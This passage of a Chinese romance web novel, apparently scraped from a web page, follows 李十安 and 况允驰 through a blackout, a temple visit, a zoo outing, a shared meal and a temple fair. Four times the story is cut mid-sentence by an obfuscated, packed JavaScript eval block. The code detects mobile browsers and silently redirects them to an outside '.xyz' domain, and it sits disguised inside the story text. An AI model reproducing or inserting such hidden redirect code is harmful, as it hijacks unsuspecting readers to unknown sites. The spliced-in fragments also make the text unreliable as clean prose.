;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825551|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 李十安转过身,“那我就先回……” “啪嗒——”四周忽然变黑暗,所有的灯都被熄灭。随后传来此起彼伏的声音,“哦豁——” 停电了。 李十安不知道刚才没说完的那句话还要不要继续说。 说她回家吧,回去没电,她一个人怪害怕。说她不回家吧,不回家又能去哪里?她待在原地,一时没开口。 况允驰像是看穿了李十安的心思,指了下一旁的花园,“要不逛逛?停电,家里没空调没风扇,比外面热。” 李十安点头,“嗯。” 况允驰从旁边的小卖铺买了些蜡烛和打火机,又在报刊架上拿了两本旧书,《故事大王》。 他们走进蜿蜒小径,走上长长的石阶,走到树荫下的小平台。 小平台夹在两栋居民楼之间,后面傍山。平台中央有两个石板做的老式乒乓球台。 他们坐到左侧的乒乓球台上,蜡烛点在中间的石板球网上。 在一盏蜡烛旁,借着烛光看故事。 像是小时候的经历,每到家里停电的夜晚,就点一只蜡烛,李十安坐中间,爸爸妈妈坐两边。 桌上摊开一本《故事大王》,爸爸妈妈讲故事给李十安听。 很久以前的事情,但是那幅画面一直记得清楚。 李十安心血来潮,把书递给况允驰,“太暗了,我看不清,你讲给我听。” 况允驰接过书,“想听什么?” “都行。” 况允驰按照目录翻开其中一页,借着烛光的照耀,开始读皮皮鲁和鲁西西。听过很多遍的故事,今晚再听起来,是不一样的感受。 微风吹拂,烛光跳跃。 李十安忍不住侧头,偷看况允驰的侧脸。 昏暗里更显轮廓的锐利,不与人亲近那般,但说话声音又是那么温柔。喉结随着说话的动作,一上一下轻微蠕动。 况允驰似乎有所察觉,稍回头一些,看向李十安。 李十安有些不好意思,急忙撇开视线,仰头看向天空。她画蛇添足地解释,“看什么?我看星星呢。” 雨后的夜空更加清澈。繁星耀眼,满月皎洁。 况允驰仍在继续念着故事。 李十安趁况允驰不注意的时候,收回视线,又一次看向他。 或许今夜月色很美,世间安宁。或许此刻他正好在她的身边。心里莫名有了一种冲动。 她对他轻声呢喃,“我想我……” “啪嗒——”两侧居民楼的灯光忽然全部点亮,伴随此起彼伏的惊呼声,“喔——” 来电了。 不该来电的时候,偏偏来电了。 电灯发出的白炽光芒,把他们的身影照得透亮。 况允驰接上李十安刚才的话,问道,“你想什么?” 李十安顿了下,改口,“我想我该回家了。” 一瞬间回到现实世界的手足无措。她说得自然,起身跳下乒乓球台的动作也潇洒自然。可胸腔内的兵荒马乱却被掩埋在心底。 没说出口的喜欢,飘散在夏夜晚风中。 61. 小镇:祈福 星期三这天是个好日子,小镇上的人大多会去月影湖边的月影寺祈福请愿。李十安和况允驰也去了月影寺,走在熙熙攘攘的人群中。 香火旺盛,烟雾缭绕。森林里传来鸟鸣。 跨过月影寺的正门。 月影寺实际是一个统称,大大小小共有十三座寺庙。寺庙们依山而建,蜿蜒向上,井然有序。 从山脚开始往上爬。每爬一段距离就有一座庙宇。大雄宝殿、天王殿、济公殿、藏经楼,数不胜数。每一座庙宇里都供奉着神仙,地藏菩萨、送子菩萨、济公、弥勒,目不暇接。 在每一座庙宇里简短停留。 李十安请愿的特点是,每到达一座庙宇、遇见一位神明,都要烧香拜佛,虔诚许愿。她就这么一路叩拜上山。 况允驰观察过,李十安每次许愿的姿势差不多,时间也差不多。这样推算,她许的估计是同一个愿望。他好奇问道,“许的什么愿望?” 李十安身体倾斜,稍靠近况允驰,压低声音,“说出来就不灵了。” 说完话,看了眼况允驰,转而觉得如果不告诉况允驰的话,似乎不太讲义气。李十安想了想,向况允驰招手。况允驰心领神会,弯下腰来,靠近李十安。 李十安轻轻踮脚,挨在况允驰的耳边,“许的就一个愿望,祝我发大财。” 随即向况允驰比划一个嘘声手势,示意况允驰保密。而后恢复为正常的状态,若无其事地走向下一座庙宇。 况允驰无奈笑了下,迈步跟上去。 除了一路请愿外,李十安看到请愿的相关周边产品,也会毫不犹豫下手。点莲花灯、点红蜡烛、点香火,只要旁人说是灵验的东西,李十安都会去尝试,经不住劝。 走到写字祈福处,李十安心痒,想拉况允驰一起。 “说是在祈福墙上挂满三个月,愿望准实现。”李十安说,“你写一张,我写一张,怎么样?” 说出这话时,李十安的想法是,她请客,请况允驰弄一次祈福,让况允驰也有一些参与感。不然这一路上,都是况允驰单方面陪她。 担心被况允驰拒绝,李十安抢先去到木桌前,找工作人员要了付款二维码,扫码付款。结果付款后,李十安愣在原地,终于意识到了不对劲的地方。 “我这一路上,好像就没付过钱。” 点莲花灯要钱,点红蜡烛要钱,烧香火也要钱,可李十安仔细回忆起来,她都是拿了东西就走人,完全忘了付款这件事。而且竟然也没工作人员拦着她,叫她补款。 她问况允驰,“是你帮我付的吗?” 难不成一直都是,她在前面走,况允驰在后面付钱?看起来似乎是这样。 李十安忽然过意不去。她把手机转向况允驰,“一共多少钱?我转给你。” 况允驰估算了下,“大概三百二十五万零一毛三。” 李十安被逗笑了,“说正经的。” 况允驰拿起祈福牌,“这个当抵债。”拿起两支毛笔,一支递给李十安,一支留给自己。 李十安转身,走到况允驰身边,挨着站。各写各的祈福牌。李十安偷看况允驰的牌面,他的毛笔字也写得好看,字迹隽秀,只写了一句简短的话。 [祝十安发大财。] 忍不住笑出了声。李十安有模有样拿着毛笔,开始低头写字。她写得也快,写完之后便挑选一个好位置,把祈福牌挂到祈福墙上,拍手潇洒走开。 况允驰去挂牌,看见了李十安的牌面,也是一句简短的话。 三年前,他对她说过的那句话。 [况,祝你身体健康,吃热乎乎的晚饭。] *** 不知道是不是幻觉,李十安总觉得,好像拜佛请愿后,她的运气变得特别好。 先是去刮彩票,有好运。 刮彩票的地方在游客休息区的角落。游客区里商铺林立,烤肠店、玉米店、特产店、手工店,应有尽有。 只是李十安没想到,在游客区的角落里,竟然还藏着一家窄小的报刊亭,兼职卖刮刮乐。 李十安抽了一张面值40元的刮刮乐,让况允驰也抽一张。她拿着啤酒瓶开瓶器,刮得起劲。 从第一排开始,一排一排按顺序往下。况允驰刮彩票,先刮第一排,再刮第一列,刮出一个直角。刮到第一列最后一个格子时,开瓶器不慎刮到旁边格子,露出小角。 就是这么细微的角落,已经足以让况允驰看出这张刮刮乐的内容。 他把刮刮乐塞给李十安,“这张送你,你刮,我手气不好。” 李十安没明白,“同一张刮刮乐,谁刮不一样?” 况允驰解释,“经手的人不同,结局也不一样。” 什么假薛定谔的歪理。李十安只当况允驰是对刮刮乐没兴趣,才找这么一个蹩脚的借口。她于是接过彩票,先刮她的那张,再刮况允驰的那张。 结果是她的那张没中,况允驰的那张中了两百元。 “还有这种运气?”李十安兴奋不已,“我刮彩票,从来没有中过奖。” 人生中刮彩票的次数屈指可数。在有限的次数里,李十安确实连一分钱也没中过。中奖这种事情,好像跟她完全没有缘分。 没想到今天转运了。 刮中奖,好彩头。李十安以为今天已经足够幸运了,等到吃便餐时,意料之外又有好运发生。 在游客区的一家小餐馆吃便餐,李十安吃一碗酸辣粉,况允驰吃一碗芽菜炒饭。况允驰去冰柜里拿了两瓶荔枝汽水,分给李十安一瓶。 递给李十安时,况允驰提前拧松了瓶盖。 正要打开瓶盖,李十安偶然看见隔壁桌的客人,喝的是和他们一样的荔枝汽水,并且拧开瓶盖后,嘀咕了一声,“没中。” 李十安好奇,“这原来是可以抽奖的?”她低头,仔细查看瓶身上的说明,果然可以抽奖。她踌躇满志,觉得是被气运之子附身那般,打开瓶盖前,甚至闭上眼睛,双手合十祈祷。 “我肯定能中。” 况允驰趁李十安闭眼祈祷的间隙,看了眼彼此的瓶盖,并顺势做了对换。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833098|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十安祈祷完,睁开眼睛,煞有介事地打开了瓶盖。 [再来一瓶。] “再来一瓶”这种奖,只有小时候才中过。 “今天大吉大利。”李十安笑道,“做什么事都走运。” 今天正如她所想的那样,这般好运势一直延续着。 饭后,他们走在盘山柏油小路上,况允驰忽然要系鞋带。“等我一下。”况允驰蹲了下去。 李十安在原地等待,看向况允驰。借着微暗的路灯,李十安似乎看见了什么东西。她弯腰细看,确认看见了一百元现金。 “这个年代,还能捡到现金?”李十安捡起现金。在路边捡到钱肯定是高兴的,下一秒,李十安下意识四周查看,想要寻找现金的主人。 主人没找到,倒是找到了一只孩童的鞋。 李十安捡起鞋子,再往前看,看见了一个父亲抱着熟睡的小孩走着路,母亲并肩走在他们身边。小孩趴在父亲肩头,脚上只剩下一只鞋子。 李十安快步跑上去,“您好,小孩鞋子掉了。” 年轻夫妻这才发现问题,接过鞋子,向李十安道谢。李十安顺口问了问,发现现金也是他们落下的。 “什么时候掉的都没发现。”小孩母亲说,“谢谢。” “客气。”李十安歪头,看小孩特别可爱,问道,“小朋友几岁啦?” “刚满三岁。” 李十安夸赞,“真可爱。”她顿了下,心里就在那一刹那涌出一丝失落。年轻夫妻已经走远,李十安仍有些心神不宁。 况允驰轻拍李十安的肩膀,“十安,你看。” 他们所处的位置,正是山路的转角处,视野开阔,能看见山下江边的宽广景色,能看见对岸缤纷的霓虹,也能看见不远处的烟花。 仰头观望。 震耳欲聋的绽放,对称的球形,来自外太空的彩色雨,降落在她的眼睛。 三年前,和况允驰正式告别的那一晚,也是这般绚丽的花火。 流了眼泪,一滴泪珠从李十安的眼角滑落。况允驰递上一张纸巾。李十安有些不好意思,拿了纸巾后侧过身,轻轻擦眼泪。 “每次看烟花都会哭,”李十安开玩笑,“下次一定不哭了。” 故意说得轻松,不把眼泪当回事。 况允驰在一旁,听进了心里。 *** 山下灯火通明。到达时,店铺里满是闲逛的客人,在挑选手串。 烧香拜佛,点灯请愿,走完一整个程序,好像最后需要一串手串,才能锁住诚挚求得的好运。 “选一串?我送你一串。”李十安对况允驰说。可刚说完话,临时又后悔,“算了,我会做这个,我做一串送给你。” “你还会这个?” 李十安捏着拇指食指比划,“小有研究。” 于是他们直接走过了手串店。 家里有材料,做起来并不复杂,李十安向况允驰承诺,“明天给你。” 说这话时,李十安信誓旦旦,是真以为自己能信守承诺。 62. 小镇:熊猫 况允驰骑着机车,接李十安去郊区的动物园玩。 见到李十安的第一面,况允驰向李十安伸出手,“我手串呢。” 手串是拿不出来的。李十安尴尬地敷衍,“明天,明天一定给。” 她灵敏地爬上机车后座,戴好头盔。况允驰转换方向,载李十安去了动物园。 *** 到达动物园的第一件事,是去卫生间。女性卫生间总是会排很长的队,李十安等待的时间无聊又漫长。 况允驰去了隔壁小店。红白条纹的雨篷装饰,米黄的墙,贩卖的各色饮品小食。况允驰买了一杯加冰柠檬茶,为李十安准备着。 店铺前的人太多,况允驰买东西时,花了些时间。走回原地,况允驰多等了一阵,没看见李十安的身影。不方便去女卫生间,况允驰只好在附近徘徊。 炽烈的阳光撒在绿荫上,投下斑驳光影。 电话铃声响起,是李十安打来的电话。“你在哪里?”李十安问,“我怎么没有看见你?” “我在原地。”况允驰猜测,“你走了?” “啊……我出来没看见你,还以为你走了。” 况允驰立即沿小路走,“我来找你。” “我在猴子这里。”猴子简直太活泼。李十安拍了张猴子的照片,发给况允驰。 [悟空在喝矿泉水。] 况允驰回复:[伙食不错。] 围观的游客太多,拥挤嘈杂。李十安退出人群来到路边,抬头仔细观察木质路牌,在漫画似的路线图上研究,“你在原地的话……那我们在豚鹿那里碰面吧。” 豚鹿位于他们之间连线的中央,一人走一段路,在中央汇合,这样比较节省时间。 况允驰往豚鹿方向走。一双长腿跨步大,很快走到目的地。可目的地仍不见李十安的身影。 爬山虎覆盖一整面砖红色的墙。 况允驰拿出手机,正要打电话,李十安的电话恰巧打了过来。 “晕,我走错路了。”李十安似乎在告状,“我找了个人问路,他给我指错了。” 方才走在栈道上察觉不对,李十安停下脚步,重新思考路线。她感觉该往左走,还为此特地找了个人问路,那人也说该往左走。 双重肯定,李十安还以为绝不会出错。 结果越走越远。 “我走到湖边了。”李十安有些沮丧。 “好,你就在原地等我。”况允驰语气平常。 豚鹿离湖边还有好长一段距离,况允驰抓紧时间离开。临走前,况允驰拍了张豚鹿的照片,发给李十安:[好亮的眼睛。] 李十安毫不客气地评价:[像我一样。] [嗯,很像你。] 李十安心里扑通一声。 “很像你。” 他是因为小鹿像她,才拍照给她看的。 是这样吗? 是这样吧? 石板路上洒下黄角树花瓣,清香扑鼻。 况允驰走到湖边,稍微有些喘气。他四处张望,寻找李十安。仍不见李十安的身影。路上遇到好多陌生人,都不是她。况允驰呼喊,“十安!” 声音飘散在空中,一下又一下。李十安闻声抬头,站起来,像况允驰挥手。 “况!” 她在湖边一个凸出的地方,像码头。他是沿着湖边走的,竟不知不觉走过了。 小码头上铺满木板。况允驰踏上去,递上他给她买的冰柠檬茶。杯壁融化了许多水珠,沿他的指缝往下滴落。他整个手已经被浸湿。 李十安问,“一直拿着?” “嗯,给你买的。” 给她买的,他就一直拿着等她,这么长时间。要换作是她,早在路上喝完了。 “喏,擦擦手。”李十安抽出一张纸巾给况允驰。 况允驰问,“刚刚蹲在在这里看什么?” 李十安伸出手,手心里满是面包屑,“本来准备喂金鱼,这里有好多金鱼。” 成群的金鱼在湖边游动,橘色的鳞片反射碎光。 “结果引来了黑天鹅,”李十安指着湖边,“想喂,但怕被啄。” 黑天鹅脖子修长而灵活,脾气调皮,总在电光火石之间啄游客一口。 李十安喂面包屑,起初摊开手心,可等黑天鹅靠近后,忍不住缩回手,换作撮的动作,隔空把面包屑滴给黑天鹅。滴准的次数,屈指可数。 李十安把面包屑交给况允驰,“你来。” 况允驰单膝蹲在木板上,手伸出栏杆,向黑天鹅摊开。 黑天鹅意外地很顺从,只吃面包屑,不啄人。况允驰甚至能在黑天鹅吃完面包屑后,摸一下它的脑袋。似乎是性情大变。 李十安想不明白了,这还是同一只黑天鹅么。 *** 动物园里种类繁多,大象、黑熊、孔雀、火烈鸟,他们挨着逛了一大圈。后来在熊猫馆停下。 人太多,密密麻麻的黑脑袋上,全是举高的手机。落地玻璃窗前,稍有空隙,立即有人补上。 要见缝插针地钻进去才行。李十安身手灵活,趁一个小学生刚离开的间隙,贴到落地玻璃前。 况允驰太高,没办法往前挤,挨着站在李十安身后。当然他站第二排或是最后一排,照样能越过脑袋们看见里头的场景。 一片绿色的丛林,树枝上的叶子被风吹落。 人群中偶尔发出一阵轰动,随后传来热烈议论。 “它动了一下!” “没动吧……” “哪儿?” “就那儿!” “好像又要动了!” 谈论的是熊猫,可李十安压根没看见熊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833099|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫。 “有熊猫吗?”李十安自言自语,“我怎么没看见?” “看见那棵树了吗?树下那块岩石,就在岩石后面,躺着的。” 说话的时候,为了更确切地指出熊猫所在的位置,况允驰弯腰,视线降低,和李十安保持同一水平。为了支撑身体,他的双手按压在落地玻璃上,将她环绕。 是无意识做出的这个动作。 李十安的注意力全在熊猫身上。她顺着况允驰指出的方向看去,很努力地目不转睛,终于通过一个细小的动作,看出了躺着的熊猫露出的屁股,灰白色,和岩石的颜色几乎一模一样。 “我看见了!”李十安兴奋地转身。 与他对视,近在咫尺的距离。 时间凝固了一秒。连呼吸也变得小心翼翼。 是大脑空白的一秒,不知该做出怎样的举动, 有人往这边挤来。李十安左边肩膀被挤一下,右边肩膀被挤一下。况允驰护住李十安,把她从人群中带出来,到达稍空旷的舒适的地带。 两个人一时都没说什么话,略显尴尬的气氛。 蓝天清透,白云轮廓清晰。阳光照下蘑菇屋的圆影子。 后来是况允驰打破了僵局,“去坐双人车吗?就在那边。” 李十安轻声应道,“嗯。” *** 红色的双人电动车,车头有熊猫图案。除了一个车顶和车头的挡风玻璃外,其余三面都是敞开的。 李十安开车,况允驰坐旁边。 熊猫小车在柏油路上缓慢前行。两侧树荫浓密,遮盖天空。阳光透过枝叶间隙,光影斑驳。 路过一汪浅浅的池塘,鱼群在水中游玩嬉戏。一条对比而言较大的鱼从眼前游过,李十安不禁想起前些天在小溪旁,大叔送给他们的那条鱼。 “这鱼尝起来肯定也不错。”李十安评价。 况允驰提议,“捞出来试试?” “那我们就走不出动物园了。”李十安笑道,“把我们抓起来放进池里当替代品。” 提起吃食,李十安忽然想起之前对况允驰说过的承诺,“一直说要请你吃饭的。” 从意大利刚回国那时候,李十安说要请况允驰吃饭,给况允驰接风。后来况允驰替李十安摆平了靳瑞那件事,李十安也说要请吃饭,感谢况允驰。 “说了那么多次,结果到现在,一次也没兑现。” 况允驰附和,“就是。” 李十安皱眉,“你还敢‘就是’?” 这种没请吃饭的埋怨,李十安可以自己说,但不允许况允驰说。她赌气,“不请了!一次也不请!” 况允驰笑了下,“那换作我请你。” “真的?”李十安问道,“去哪里吃?” 况允驰顿了下,给出回答。 “我家。” 63. 小镇:西瓜 有意避免出现男女同处封闭空间的场面,消除李十安的顾虑,况允驰特意打开房门,打开窗户,营造四方敞亮的氛围。 “以前就是这样,家家户户房门都打开,相互串门。”况允驰解释。 李十安没想那么多。她小时候有相同的经历,动不动就跑到邻居家玩,习以为常。她只当是回到了小时候。 下午阳光照射,光芒里有飞舞的细小尘埃。 厨房里摆满新鲜食材。李十安举起一颗小豆芽,在空中摇摇晃晃,“今天准备做什么?” “做一些适合夏天吃的。” 做豆花。提前一天浸泡了黄豆,放进破壁机里打碎。过滤,分为豆浆与豆渣。 趁没下锅之前,况允驰舀了一碗豆浆给李十安。 吸溜豆浆的声音一阵一阵响起。李十安竖起大拇指,赞不绝口,“八二年的豆浆,果然淳。”她有意控制了喝豆浆的量,避免贪杯,不然菜还没吃上一口,豆浆倒已经喝饱了。 豆浆放入锅中,大火烧煮,加入卤水,盖上锅盖。蓝色火苗活跃窜动。 煮了有一段时间。李十安好奇,揭开锅盖看情形。浓烈的白色蒸汽扑面而来,措手不及,“呼——”熏得面色红润,睁不开眼睛。 况允驰关掉水龙头,“怎么了?” “没什么。”李十安手掌散风,降低温度,“你在准备做下一个小吃?” “嗯。” 做绿豆汤。绿豆洗净。另起炉灶,温火慢煮。时不时用勺子搅拌均匀。 夏日炎热,连空气都是滚烫的。又偏偏在炉边。况允驰被热出汗,一滴汗珠顺着太阳穴滑落,滑过下颌。李十安抽纸巾,替况允驰擦拭汗珠。 很突然的亲昵举动。 尽管出发点只是单纯地怕汗珠影响他而已。 况允驰看向李十安。沉默在空气中凝滞。 脑海里还有一丝理智存在,李十安收回手,神色严肃,但语气是玩笑那般,“也不是免费帮你的,擦一次收十块。” 况允驰继续搅拌绿豆汤,“贵了,最多五块。” 李十安稍提高音量,“还讲价?” 况允驰伸手,从另一侧的灶台上拿来豆花蘸水,“那你帮忙尝尝看蘸水味道,算补差价。” 隐约闻到木姜油的气味,辣椒上覆盖一层薄薄的红油。李十安用筷尖蘸一下,尝一口,“好吃,特别好吃。” 好吃是一回事……李十安在嘴里回味,反应过来这个交易根本不成立。她帮况允驰尝味道,算是况允驰欠她才是,怎么变成了况允驰补差价? 李十安正想找况允驰掰扯,况允驰已经开始忙碌做下一道小吃了。 做凉面。下水煮面后捞出,加入色拉油搅拌,用电风扇吹凉。 电风扇。风源源不断吹来的那一刻,浸润无尽凉意。他们并肩站在落地电风扇前,弯腰。发梢波浪似的不停摆动。贪恋这阵凉意。 明明一开始就可以使用电风扇的,偏偏在闷热的厨房蒸了那么久,像两只包子。 说起来,他们的教育水平都不算低。她是硕士,他甚至是博士后。怎么“热了就开电风扇”这样的小事,竟没一个人想起来。平时也不是那么呆的。 或许是两人独处的缘故,意外会卡壳。 李十安说,“你笨。” 况允驰回,“你笨。” “你笨,就是你。” “我不笨,你笨。” 李十安笑道,“你真幼稚。” 两个炉灶的蓝色火苗仍在窜动。况允驰左右兼顾忙碌,其间腾出一点空隙,为李十安切一半冰镇西瓜,“你去客厅吹空调。” 客厅房门是大开着的,他没说关,她也不好意思去关。门外的热风会跑进屋里,所以要坐到空调底下,才能对着吹冷风。 舀一勺西瓜,是最中间的那一块,甜,汁水充足,并且没有一粒籽。特别满足。再舀一勺,挑选的仍旧是没有一粒籽的,右手举着勺子,左手摊开放在勺子下保护好,一路走去厨房。 “喏。” “嗯。” 她喂他吃了一块西瓜。他咬住这块西瓜边缘,仰头,慢慢把西瓜塞进口中。喉结蠕动,稍显锋利的边缘。她急忙移开视线。 凉面已经吹得差不多了。况允驰把凉面放到一旁,和兑好的汤汁调料一起,等着之后再用。 除了凉面外,李十安发现,况允驰已经装盘了好几样菜。拍黄瓜、糖渍番茄、南瓜饼,以及提前做好的冷吃兔、手撕牛肉、柠檬鸡爪。 适合盛夏的丰富的美食。看来今天肚子不够装呐。 况允驰熬好了绿豆汤。搅拌,直接从汤锅里舀一勺,“帮我试试味道。” 李十安浅尝一口,“好喝。”再尝一口,“真好喝。” 后面这一口喝得多了些,一滴汤汁从嘴角溢出。况允驰很自然地替李十安抹去汤汁。 指腹贴着嘴角。炎热的夏天里,每一处空气都是热的。但肌肤贴着肌肤的那一瞬间,感觉到了明显的热量。 更热。瞬间触碰一下。 为什么会做出这样的动作。好像是身处放松的氛围里,同时也放松了警惕。 手指仍然停留在原处。 况允驰心里想好了化解尴尬的句子,“这次我替你擦,抵了刚才那次的差价。”正准备开口说出打好的腹稿。 “允驰哥哥!” 手指这才放开。两人默契的向后退半步。 一个两岁多的小男孩从屋外跑来,跑过客厅,跑进厨房。他手里拿着两盒鲜花饼,一盒给况允驰,一盒给李十安,“妈妈让我送给哥哥姐姐的。” 是个很聪明的小孩,说话吐字流畅清晰,离开的脚步轻盈。眉眼和妍妍有几分相像。 李十安猜测,“是妍妍姐姐的孩子?” “嗯。” “啪——”风扇慢慢停止了转动,原本飞舞的发梢落回原地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841095|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李十安问,“是坏了吗?” “应该是。”况允驰旋转换档按钮,重启电源,均不见任何反应。好不容易散去的闷热,海啸那般汹涌而来。 李十安找了一把老旧蒲扇,向左给况允驰扇风,向右给自己扇风。 心里还想着刚才那个小男孩的事。 今天刚来况允驰家里,况允驰带李十安简单逛了逛。卧室里有一张木书桌,老款式,桌面盖了一层玻璃,玻璃下压了几张老照片。 其中一张照片,是五个小孩的合照,在喷泉边上。三个小孩站在后排,两个小孩站在前排。 前排的小孩,一男一女,男生是况允驰。至于女生——李十安恍惚,以为是自己。小时候,她就爱梳这样立在头顶的两股麻花辫,扎黄色的荷叶边发圈。再仔细看,知道自己看错了。 那一刻有些失落。 如果是她该有多好。 况允驰简单介绍了下照片上的人。 “邻居,所以玩得好。” “他们都比我大两岁。” “这个是妍妍姐,就住隔壁。” “和姐夫也回来了,带小朋友玩几天。” “很久没见了,再见到,就想起小时候。” 其实况允驰也没有说得绘声绘色,很平淡地陈述事实而已。但李十安脑海中有了各种各样的画面。 没有参与过他的小时候。甚至和他连一张合照都没有。 窗外的知了一阵一阵鸣叫。 况允驰问,“在想什么?这么出神。” “喔……在想刚才那个小孩。”李十安扇风的力度有些减弱了,此刻又重新用力起来。 “那个小孩穿的开裆裤。”两岁多的小孩,还是会穿开裆裤。李十安故意挑话,“唉,你小时候是不是也一样?” “穿开裆裤吗?”况允驰方方正正切豆花,“没有。” 李十安将信将疑,“不会吧,你这么早熟?” “不算早熟,但确实没穿。”况允驰回想,一本正经,“那个时候上半身是没穿衣服的,下半身只穿一条内裤,红内裤还是蓝内裤……或者是黄的?上面有蜡笔小新……” 李十安用蒲扇拍打况允驰的肩膀,笑道,“够了!” 况允驰也笑了一下。 他盛一碗豆花,放到冰箱,“这个留着给你做冰豆花。” “喔——”以为菜品已经够多的了,现在又多了一样。 看来今天的晚餐,需要努力才行了。 *** 夜晚,吃过晚饭,按照惯例,况允驰送李十安回家,在单元楼下告别。 先说了些无关紧要的话。见李十安仍没有主动提起的意思,况允驰从旁提醒,“十安,我手串呢。” 手串是一直拿不出来的。李十安没想到况允驰会追问。除了搪塞也没有其他办法。她竖起四根手指发誓。 “明天,明天一定给你。” 64. 小镇:白兔 今天的庙会是傍晚六点开始的。 为了更好地融入庙会,李十安去了一家店铺,换上汉服。店铺人多,都是女生。况允驰不方便进去,就近找了一处地方等待。 妆发分为好几个步骤,每个步骤都需要排队,有时快有时慢。快的时候,一个人只需两分钟。慢的时候,等待半个小时也不见有动静。 李十安起初很耐心,不吵不闹,安静乖巧。无奈等的时间实在太长,她怕会耽搁况允驰的时间。丢他一个人在外面那么久,于心不忍。 想来也不是所有步骤都必须要做到位的。李十安省略了好些步骤,尽量缩短时间。 走出门,看到况允驰独自坐在对面路边的长条木凳上。身后是绿色山林。落日余晖在做最后的绽放,一片橘色。路灯微亮,融入橘色的海洋。 他深灰色的衬衣衣角在柔和的风中微微摆动。手腕上的黑色运动手表偶尔发出绿色亮光。双肘撑在膝盖上,低着头,横拿着手机玩游戏。 李十安走路轻巧。来到况允驰身前,她轻轻拍一下他的肩膀,他抬起头。 是一个相对而言简单的造型。丸子头扎在靠近头顶的位置,其余什么装饰也没有。妆容干净清透,接近素颜。穿的是齐胸襦裙,凝脂上衣,朱砂裙摆。 像宫里养尊处优的公主,过惯了锦衣玉食的生活,趁侍卫没注意的时候,偷偷溜出宫,到集市上自由闲逛。 然后遇见了他。 况允驰打招呼,“晚上好,盛唐公主。” 李十安应道,“晚上好,二十一世纪少年。” 说不清是公主从盛唐穿越到二十一世纪,还是少年从二十一世纪穿越到盛唐。 黄昏把他们的影子拉得很长。 *** 毫无预兆地开始肚子痛。起初是隐痛,时不时小痛一下,李十安还能忍受。 况允驰正在小店铺里的货架前,挑选出一支山茶花小簪子,为李十安小心插上。一朵小巧的山茶花开放。 肚子痛的时候,李十安微蹙眉。肚子不痛的时候,李十安舒展眉头。 “好看。”李十安问,“簪子和我这身搭配吗?” “搭配的。” 不知是否是错觉,李十安感觉疼痛的时间变得久了一些。逐渐加深。照样能够忍受,但表面已经不能再装作若无其事了。 “我得歇一会儿,走累了。”李十安怕况允驰担心,特意没捂着肚子。 附近走累的人确实很多,道路旁的每条木质长凳上都坐满了人。倒是榕树下有一个小秋千,玩耍的小孩不久前刚离开,现在正空着。 况允驰扶李十安坐上了秋千。他半蹲在她身前,“肚子痛?” 李十安有些惊讶,还以为自己伪装得很好。“嗯……忽然就痛了。” “我去给你弄点热水。” 附近唯一有可能有热水的地方,是五十米外的一家奶茶店。李十安看着况允驰的身影慢慢走远。 巨大白兔形状的彩灯矗立在一旁,鲤鱼彩灯在空中游弋。凤凰、满月、亭台楼阁、瀑布、莲花。绚丽色彩的世界。 可惜没有心思欣赏风景。 想要找到肚子痛的原因。是大姨妈吗?李十安站起来,又坐下,再站起来,又坐下。没有感受到汹涌澎湃,应该不是。再说日期也不对。 那是什么原因?下午吃了两块雪糕?应该也不是,以前也经常连着吃雪糕,没问题的。 况允驰回来了,带回一杯百香果茶。那是酷热的夏天里,店里唯一能做成热饮的饮品。 像遇到了救星,李十安立即喝了一口——味道不对。一口饮料含在嘴里,好不容易才能咽下。 “好酸……” “酸的?” 百香果本身是酸的。况允驰特意嘱咐过,少放一些百香果,多放一些糖。怎么还是酸的。百香果的威力也太大了。 况允驰站起来,“我去换一杯。” 之前就想直接买一杯热水的,但店员说没有热水,只有热茶。热茶也不能单卖,系统里无法录入,做不了账。能单卖的只有成品。 所以况允驰这次特意绕开这家店,多走了几百米。怕李十安等得久了,他有时是小跑赶速度。 巷子里的一家正准备关门的面馆,老板好心,给了况允驰一杯温水。 天热,水不是那么容易凉,但况允驰稳妥起见,从隔壁小超市里买了保温杯,装温水。 对面是一家小药房。他又去买了药。 